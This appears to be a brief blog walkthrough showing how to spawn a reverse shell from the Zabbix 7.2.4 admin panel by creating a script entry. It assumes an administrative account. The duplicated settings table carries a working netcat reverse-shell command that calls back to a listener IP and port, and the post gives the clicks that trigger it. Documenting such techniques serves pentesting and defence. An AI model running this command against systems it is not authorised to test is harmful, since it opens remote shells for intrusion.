Getting a Reverse Shell from the Zabbix 7.2.4 Admin Panel

Most of the examples I found were either for older versions of Zabbix or used a slightly different interface. So I decided to document what worked for me on Zabbix 7.2.4, in case someone else runs into the same problem.

This assumes you already have administrative access to Zabbix and permission to create and execute scripts.

Create a new script

First, navigate to Alerts → Scripts → Create script.

Configure the script with the following settings:

Setting                       Value
Name                          test2
Scope                         Manual host action
Type                          Script
Execute on                    Zabbix proxy or server
Commands                      busybox nc 192.168.45.248 6789 -e /bin/bash
Host group                    All
User group                    All
Required host permissions     Read

Setting                       Value
Name                          test2
Scope                         Manual host action
Type                          Script
Execute on                    Zabbix proxy or server
Commands                      busybox nc 192.168.45.248 6789 -e /bin/bash
Host group                    All
User group                    All
Required host permissions     Read

Replace the IP address and port with your own listener details.

I'm using BusyBox here because it provides a version of netcat that supports the -e option, allowing us to execute /bin/bash when the connection is established.

Once everything is configured, save the script.

How to trigger it

Now, back in Zabbix:

1. Navigate to Monitoring → Hosts.
2. Find a monitored host. In my case, I used the Zabbix server itself.
3. Click the host's name to open its context menu.
4. Under Scripts, select the script we just created (test2).

The execution window may appear to hang. This is expected because our command starts an interactive reverse shell instead of returning a normal script result.

Switch back to your listener.

And we have a shell!

If everything worked, you should receive a connection.

And there we go! We have a shell running as the zabbix user.

One detail worth mentioning: because we selected Zabbix proxy or server as the execution location, the command runs on the Zabbix server or proxy, not necessarily on the monitored host we clicked.

This is also not an unauthenticated Zabbix exploit or proof of a vulnerability specific to version 7.2.4. We're using Zabbix's built-in script execution functionality with an account that has sufficient permissions.

That's it. Hopefully this saves someone else a bit of time and frustration. Happy hacking!